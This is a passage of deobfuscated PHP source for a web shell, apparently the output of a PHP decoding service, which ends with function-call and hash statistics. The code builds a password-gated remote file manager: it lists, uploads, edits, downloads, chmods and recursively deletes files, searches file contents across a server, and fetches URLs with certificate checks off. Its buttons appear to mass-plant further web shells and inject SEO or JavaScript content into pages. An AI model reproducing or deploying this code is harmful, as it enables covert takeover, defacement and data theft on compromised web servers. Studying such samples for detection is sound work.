        $QSO8f .= "<form name=\"upfrm\" id=\"upfrm\" method=\"POST\" enctype=\"multipart/form-data\">";
        $QSO8f .= AxTtQ();
        $QSO8f .= "<input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . $Jzwra . "\">";
        $QSO8f .= "<input type=\"file\" name=\"upfile\" style=\"width:286px;height:21px;\"> ";
        $QSO8f .= "<input type=\"button\" onclick=\"\$('upfrm').submit();\" value=\"\" style=\"width:50px;\"> ";
        $QSO8f .= " <input type=\"text\" name=\"rename\" style=\"width:128px;\">";
        $QSO8f .= "</form></div>";
        $QSO8f .= "<form name=\"frm1\" id=\"frm1\" method=\"POST\"><table class=\"tables\">";
        $QSO8f .= AxtTq();
        $QSO8f .= "<input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . $Jzwra . "\">";
        $QSO8f .= "<input type=\"hidden\" name=\"act\" id=\"act\" value=\"\">";
        $QSO8f .= "<input type=\"hidden\" name=\"var\" id=\"var\" value=\"\">";
        $QSO8f .= "<th><a href=\"javascript:cd('" . dirname($Jzwra) . "/');\"></a></th><th style=\"width:8%\"></th><th style=\"width:5%\"></th><th style=\"width:17%\"></th><th style=\"width:17%\"></th><th style=\"width:8%\"></th>";
        $uMn1i = '';
        $yICDZ = '';
        $CU3_o = $DOdBZ = 0;
        if ($YJnbr) {
            if (isset($YJnbr["dir"])) {
                asort($YJnbr["dir"]);
            }
            if (isset($YJnbr["file"])) {
                asort($YJnbr["file"]);
            }
            if (isset($YJnbr["dir"])) {
                foreach ($YJnbr["dir"] as $PfRvL => $Kes_q) {
                    $IU13H = substr(decoct(fileperms($PfRvL)), -4);
                    $uMn1i = date("Y-m-d H:i:s", filectime($PfRvL));
                    $yICDZ = date("Y-m-d H:i:s", filemtime($PfRvL));
                    $QSO8f .= "<tr>";
                    $QSO8f .= "<td><a href=\"javascript:cd('" . $Jzwra . $Kes_q . "');\"><b>" . strtr($Kes_q, array("%27" => "'", "%22" => "\"")) . "</b></a></td>";
                    $QSO8f .= "<td><a href=\"javascript:dels('" . $Kes_q . "');\"></a> ";
                    $QSO8f .= "<a href=\"javascript:acts('" . $Kes_q . "','rf','" . $Kes_q . "');\"></a></td>";
                    $QSO8f .= "<td><a href=\"javascript:acts('" . $IU13H . "','pd','" . $Kes_q . "');\">" . $IU13H . "</a></td>";
                    $QSO8f .= "<td>" . $uMn1i . "</td>";
                    $QSO8f .= "<td>" . $yICDZ . "</td>";
                    $QSO8f .= "<td>-</td>";
                    $QSO8f .= "</tr>";
                    $CU3_o++;
                }
            }
            if (isset($YJnbr["file"])) {
                foreach ($YJnbr["file"] as $PfRvL => $Kes_q) {
                    $IU13H = substr(decoct(fileperms($PfRvL)), -4);
                    $uMn1i = date("Y-m-d H:i:s", filectime($PfRvL));
                    $yICDZ = date("Y-m-d H:i:s", filemtime($PfRvL));
                    $T3WIB = IDyfR(filesize($PfRvL));
                    $QSO8f .= "<tr>";
                    $QSO8f .= "<td><input type=\"checkbox\" name=\"files[]\" value=\"" . $Kes_q . "\"><a target=\"_blank\" href=\"" . $nbzHl . $Kes_q . "\">" . strtr($Kes_q, array("%27" => "'", "%22" => "\"")) . "</a></td>";
                    $QSO8f .= "<td><a href=\"javascript:go('edit','" . $Kes_q . "');\"></a> ";
                    $QSO8f .= "<a href=\"javascript:acts('" . $Kes_q . "','rf','" . $Kes_q . "');\"></a></td>";
                    $QSO8f .= "<td><a href=\"javascript:acts('" . $IU13H . "','pd','" . $Kes_q . "');\">" . $IU13H . "</a></td>";
                    $QSO8f .= "<td>" . $uMn1i . "</td>";
                    $QSO8f .= "<td>" . $yICDZ . "</td>";
                    $QSO8f .= "<td align=\"right\"><a href=\"javascript:go('down','" . $Kes_q . "');\">" . $T3WIB . "</a></td>";
                    $QSO8f .= "</tr>";
                    $DOdBZ++;
                }
            }
        }
        unset($YJnbr);
        $QSO8f .= "</table>";
        $QSO8f .= "<div class=\"actall\" style=\"text-align:left;\">";
        $QSO8f .= "<input type=\"checkbox\" id=\"chkall\" name=\"chkall\" value=\"on\" onclick=\"sa(this.form);\"> ";
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='txts(\"\",\"" . $Jzwra . "\",\"a\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='dels(\"b\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='txts(\"\",\"0666\",\"c\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='txts(\"\",\"" . $yICDZ . "\",\"d\");'> ";
        $QSO8f .= "</br>&nbsp;&nbsp;&nbsp;&nbsp;";
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='txts(\"M\",\"" . $Jzwra . "\",\"xiaoma\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='pltexts(\"M\",\"" . $Jzwra . "\",\"plxiaoma\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='txts(\"M\",\"" . $Jzwra . "\",\"dama\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='txts(\"M\",\"" . $Jzwra . "\",\"gxdama\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='pltexts(\"M\",\"" . $Jzwra . "\",\"pldama\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"GZL\" style=\"width:80px;\" onclick='txts(\"GZL\",\"" . $Jzwra . "\",\"gzl\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"GZL\" style=\"width:80px;\" onclick='pltexts(\"GZL\",\"" . $Jzwra . "\",\"plgzl\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"TDK\" style=\"width:80px;\" onclick='pltexts(\"TDK\",\"" . $Jzwra . "\",\"TDK\");'> ";
        $QSO8f .= "<input type=\"button\" value=\"JSC\" style=\"width:80px;\" onclick='txts(\"JSC\",\"" . $Jzwra . "\",\"JSC\");'> ";
        $QSO8f .= "</br>&nbsp;&nbsp;&nbsp;&nbsp;";
        $QSO8f .= "[" . $CU3_o . "] - [" . $DOdBZ . "] - [" . $RoNtC . "]</div></form>";
        return $QSO8f;
    }
}
function MWeMB($YJnbr)
{
    foreach ($YJnbr as $iW8f4 => $KPtbK) {
        $YJnbr[$iW8f4] = is_array($KPtbK) ? mwEMb($KPtbK) : stripslashes($KPtbK);
    }
    return $YJnbr;
}
function PBM07($xndOv)
{
    return str_replace(array("\\", "//", "%27", "%22"), array("/", "/", "'", "\""), chop($xndOv));
}
function c4gHr($b00lT)
{
    $b00lT = pbm07($b00lT . "/");
    try {
        if (($bJ62o = @opendir($b00lT)) == NULL) {
            return false;
        }
    } catch (Throwable $yVbeC) {
        return false;
    }
    $YJnbr = array();
    while (false !== ($Kes_q = readdir($bJ62o))) {
        if ($Kes_q == "." || $Kes_q == "..") {
            return false;
        }
        $PfRvL = $b00lT . $Kes_q;
        $Kes_q = strtr($Kes_q, array("'" => "%27", "\"" => "%22"));
        if (is_dir($PfRvL)) {
            $YJnbr["dir"][$PfRvL] = $Kes_q;
        }
        $YJnbr["file"][$PfRvL] = $Kes_q;
    }
    closedir($bJ62o);
    return $YJnbr;
}
function AXTtq()
{
    $QSO8f = '';
    if (isset($_POST["getpwd"])) {
        $QSO8f .= "<input type=\"hidden\" name=\"getpwd\" value=\"" . $_POST["getpwd"] . "\">";
    }
    if (isset($_POST["pass"])) {
        $QSO8f .= "<input type=\"hidden\" name=\"pass\" value=\"" . $_POST["pass"] . "\">";
    }
    if (isset($_POST["pass"]) && isset($_POST[$_POST["pass"]])) {
        $QSO8f .= "<input type=\"hidden\" name=\"" . $_POST["pass"] . "\" value=\"" . $_POST[$_POST["pass"]] . "\">";
    }
    if (isset($_POST["check"])) {
        $QSO8f .= "<input type=\"hidden\" name=\"check\" value=\"" . $_POST["check"] . "\">";
    }
    return $QSO8f;
}
function lGU3j($eb_7J, $NC0z_, $fyjvY)
{
    if (!is_writable($eb_7J) && file_exists($eb_7J)) {
        chmod($eb_7J, 0666);
    }
    $iW8f4 = false;
    try {
        $bJ62o = fopen($eb_7J, $fyjvY);
        $iW8f4 = fputs($bJ62o, $NC0z_);
        fclose($bJ62o);
    } catch (Throwable $yVbeC) {
    }
    return $iW8f4;
}
function jWptb($eb_7J)
{
    $bJ62o = fopen($eb_7J, "r");
    if (filesize($eb_7J) > 0) {
        $NC0z_ = fread($bJ62o, filesize($eb_7J));
    } else {
        $NC0z_ = '';
    }
    fclose($bJ62o);
    return $NC0z_;
}
function FiVRg($t_nY5, $fqqEu)
{
    $iW8f4 = move_uploaded_file($t_nY5, $fqqEu) ? true : false;
    if (!$iW8f4) {
        $iW8f4 = copy($t_nY5, $fqqEu) ? true : false;
    }
    return $iW8f4;
}
function vZO7E($eb_7J)
{
    if (!file_exists($eb_7J)) {
        return false;
    }
    ob_end_clean();
    $Kes_q = basename($eb_7J);
    $YJnbr = explode(".", $Kes_q);
    header("Content-type: application/x-" . array_pop($YJnbr));
    header("Content-Disposition: attachment; filename=" . $Kes_q);
    header("Content-Length: " . filesize($eb_7J));
    @readfile($eb_7J);
    exit;
}
function mRF0q($b00lT)
{
    $bJ62o = @opendir($b00lT);
    while (false !== ($Kes_q = @readdir($bJ62o))) {
        if ($Kes_q == "." || $Kes_q == "..") {
            return false;
        }
        $PfRvL = $b00lT . $Kes_q;
        @chmod($PfRvL, 0777);
        if (is_dir($PfRvL)) {
            MRf0q($PfRvL . "/");
        }
        @unlink($PfRvL);
    }
    @closedir($bJ62o);
    return @rmdir($b00lT);
}
function idYfr($IMG07)
{
    if ($IMG07 < 1024) {
        return $IMG07 . " B";
    }
    $YJnbr = array("B", "K", "M", "G", "T");
    $bNTax = floor(log($IMG07) / log(1024));
    return sprintf("%.2f " . $YJnbr[$bNTax], $IMG07 / pow(1024, floor($bNTax)));
}
function IIpyz($YJnbr, $g9_WW)
{
    foreach ($YJnbr as $iW8f4) {
        if (stristr($g9_WW, $iW8f4)) {
            return true;
        }
    }
    return false;
}
function MdXRq($N8fwX = 8)
{
    $SWSuO = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $KYc_0 = array_rand($SWSuO, $N8fwX);
    $xndOv = '';
    if (is_int($KYc_0)) {
        $xndOv = $SWSuO[$KYc_0];
    } else {
        shuffle($KYc_0);
        foreach ($KYc_0 as $Hzx0E) {
            $xndOv .= $SWSuO[$Hzx0E];
        }
    }
    return $xndOv;
}
function Dqr9R($b00lT, $iW8f4, $SMX_3, $f1bw2, $q52rn, $Ktp_B, $n_geq, $Nzv3E)
{
    try {
        if (($bJ62o = @opendir($b00lT)) == NULL) {
            return '';
        }
    } catch (Throwable $yVbeC) {
        return '';
    }
    $QSO8f = '';
    while (false !== ($Kes_q = readdir($bJ62o))) {
        if ($Kes_q == "." || $Kes_q == "..") {
            return false;
        }
        $PfRvL = $b00lT . $Kes_q;
        if (is_dir($PfRvL)) {
            if (!($f1bw2 && in_array($Kes_q, $f1bw2))) {
                if ($n_geq == 0 && is_readable($PfRvL)) {
                    $QSO8f .= dQr9R($PfRvL . "/", $iW8f4, $SMX_3, $f1bw2, $q52rn, $Ktp_B, $n_geq, $Nzv3E);
                }
            }
        }
        if (!($SMX_3 && !iiPyz($SMX_3, $Kes_q))) {
            $uS2nL = $q52rn ? JwpTb($PfRvL) : $Kes_q;
            $A5Kw2 = $Ktp_B ? stristr($uS2nL, $iW8f4) : (strpos(IDyfr(filesize($PfRvL)), "M") ? false : strpos($uS2nL, $iW8f4) > -1);
            if ($A5Kw2) {
                $SFJ9z = strtr($PfRvL, array($Nzv3E => '', "'" => "%27", "\"" => "%22"));
                $QSO8f .= "<a href=\"javascript:go('editor','" . $SFJ9z . "');\"></a> " . $PfRvL . "<br>";
                flush();
                ob_flush();
            }
            unset($uS2nL);
        }
    }
    closedir($bJ62o);
    return $QSO8f;
}
function cIVgh($N1G2o, $Q9zRG = 30, $kRKZ7 = 1)
{
    $c9X7t = curl_init();
    $PItFp = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Upgrade-Insecure-Requests: 1", "DNT:1", "Accept-Language: zh-CN,zh;q=0.9", "User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36");
    curl_setopt($c9X7t, CURLOPT_HTTPHEADER, $PItFp);
    curl_setopt($c9X7t, CURLOPT_TIMEOUT, $Q9zRG);
    curl_setopt($c9X7t, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($c9X7t, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($c9X7t, CURLOPT_URL, $N1G2o);
    if ($kRKZ7 == 1) {
        curl_setopt($c9X7t, CURLOPT_RETURNTRANSFER, true);
    }
    $rVq02 = curl_exec($c9X7t);
    if (!$rVq02) {
        $VO03Y = curl_errno($c9X7t);
        var_dump($VO03Y);
    }
    curl_close($c9X7t);
    return $rVq02;
}
function x8024($xndOv, $Go0li = '', $wrqOC = '')
{
    if ($Go0li) {
        $xndOv = stristr($xndOv, $Go0li, false);
        $xndOv = substr($xndOv, strlen($Go0li));
    }
    $wrqOC && ($xndOv = stristr($xndOv, $wrqOC, true));
    return trim($xndOv);
}

Function Calls

header 1
ini_set 2

Variables

None

Stats

MD5 f3a830d81ae4d7a059fecca70f5a96f8
Eval Count 0
Decode Time 342 ms